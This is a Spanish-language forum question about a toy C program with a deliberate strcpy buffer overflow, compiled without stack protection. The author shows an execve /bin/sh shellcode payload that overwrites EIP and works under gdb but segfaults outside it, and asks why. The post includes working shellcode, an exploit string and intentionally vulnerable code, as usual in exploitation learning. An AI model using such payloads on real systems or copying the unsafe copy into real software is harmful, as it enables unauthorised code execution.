Tengo un programa vulnerable en c que copia argv en un búfer y luego lo imprime:
# include <string.h>
# include <stdio.h>
# include <stdlib.h>
void func(char * arg){
char name[32];
strcpy(name, arg);
printf("\n Welcome %s\n\n", name);
}
int main(int argc, char *argv[]) {
if (argc < 2){
printf("Use: %s Name\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("End\n\n");
return 0;
}
Lo he compilado con gcc sin protector de pila y execstack , luego he usado gdb para ver el punto de memoria donde debo cambiar el EIP. Pero me he dado cuenta de que el shellcode se ejecuta (el exploit funciona) solo cuando estoy en gdb pero fuera no funciona.
Works:
$ gdb ./prog -q
(gdb) run 'perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"''
$ whoami
user
No funciona:
$ ./prog 'perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"''
segmentation fault
¿Por qué sucede esto? Creo que este código debería funcionar fuera de gdb, también.